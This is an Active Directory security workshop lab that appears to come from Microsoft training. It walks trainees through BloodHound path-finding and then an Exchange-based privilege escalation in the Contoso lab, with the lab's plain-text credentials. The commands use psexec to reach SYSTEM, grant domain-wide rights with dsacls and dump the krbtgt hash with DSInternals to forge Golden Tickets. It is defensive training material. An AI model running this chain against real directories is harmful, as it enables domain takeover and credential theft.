Module 8-Final

Module 8
This module is about changing your perspective and think of Active Directory's security
differently.
At the end of these exercises you will be able to see your AD like an attacker sees it and
understand the security risks of applications integrated with AD.
DISCLAIMER
These labs contain third-party tools. Please be aware of the following guidelines:
• These tools are for research purposes only. Microsoft does not own these tools nor
can it guarantee their behavior.
• These tools should only be run in a test lab environment.
• They are tools that are used by both hackers and penetration testers, and need to
be treated with caution and with clear policies and permissions.
• The trainer is authorized to describe in details how the tools work and to show
recorded videos of the tools to the attendees.
• The trainer is giving guidance to the attendees on how to better defend Active
Directory against those tools. This includes demonstration of the tools in the
workshop’s labs.
• The lab machines used in the offering have those tools pre-installed. Those
machines are not connected to any network else then the lab network. Those
machines are not connected to the Internet.
• The attendees cannot keep a copy of the lab machines. Through your agreement to
attend the training, Microsoft disclaims any liability for the misuse of these tools,
either accidentally or intentionally. Use of these tools in this environment is for
training purposes only.
Now, if you agree, you can click Next.
Last update - 2019-01-11
A. What does the attack see?

Scenario
You are Norma's colleague from the UK. You are working with her to understand what are the
possible paths an attacker could take in Contoso to get to domain admin's credentials. You will
use Bloodhound to uncover those.
1. Log on to EMEA - WIN7.
Use the following credentials:
Username EMEA\emea-admin
Password p (cool password, eh?
Because Windows 7 is kinda old now, this copy is no longer activated. You might see a
Windows Activation window. If so, click Ask me later and then OK.
2. In the taskbar, click the Bloodhound icon. It looks like this:
3. Bloodhound will automatically log you in and you will see a graph. Click on the burger
menu on the top left then click on Queries.
Click Find Shortest Paths to Domain Admins and in the pop-op click DOMAIN
[email protected].
4. Review the graph and navigate the different queries and options.
5. Click the Upload data button.
Then browse to the DVD Drive D: and select all files present on the disk and click Open.
This will load additional sessions info that Norma sent you.
6. Click on the burger menu on the top left then click on Queries. Click Find Shortest
Paths to Domain Admins and in the pop-op click DOMAIN
[email protected].
7. Close all windows and sign out of WIN7.
If you are about to take a break, make sure you save your labs before!
B. Privilege escalation
Scenario
You are Joe, a new intern at Contoso. You are here to learn about messaging in large enterprises.
Because of the security policies in place at Contoso, they couldn't give you an account (only full
-time employees get one). But the Exchange admin gave you the local administrator password of
the Exchange server. Let's see what you can do with that!
1. Log on to CONTOSO - EXCH1.
Use the following credentials:
Username EXCH1\Administrator
Password LocalPa$$w0rd
2. Open File Explorer and go the the C:\Tools\PSTool folder. Right-click on PSTools and
click Extract All. Change the destination folder to C:\Tools\PStool, uncheck Show
extracted files when complete and click Extract.
3. Right-click on the start button and select Computer Prompt. In the prompt type
C:\Tools\PSTool\psexec.exe -accepteula -sid powershell.
4. In the opening PowerShell prompt, type mode 140,400 and then dsacls
'DC=contoso,DC=com' /G 'CONTOSO\EXCH1$:GA'.
Because of the way Contoso deployed Exchange (lots of legacy configuration and
the default delegation setup), you just granted the computer account full
permissions at the domain level. It might not be as bad in your own production…
Hopefully…
5. Let's steal the krbtgt's hash then, so that we can craft our own TGT (aka Kerberos Golden
Ticket). In the same console, type Import-Module DSInternals then Get-
ADReplAccount -SamAccountName krbtgt -Domain CONTOSO -Server DC01.
Here is everything we need!
What a great way to finish this lab!
This was the last exercise of this workshop.
Now, time to get back to your environments!

Go secure the world!

Module 8-Final

Uploaded by

Copyright:

Available Formats

Module 8-Final

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Module 8-Final

Uploaded by

Copyright:

Available Formats

Module 8

Now, if you agree, you can click Next.

Last update - 2019-01-11

A. What does the attack see?

1. Log on to EMEA - WIN7.

Use the following credentials:

2. In the taskbar, click the Bloodhound icon. It looks like this:

1. Log on to CONTOSO - EXCH1.

Use the following credentials:

What a great way to finish this lab!

This was the last exercise of this workshop.

Now, time to get back to your environments!

You might also like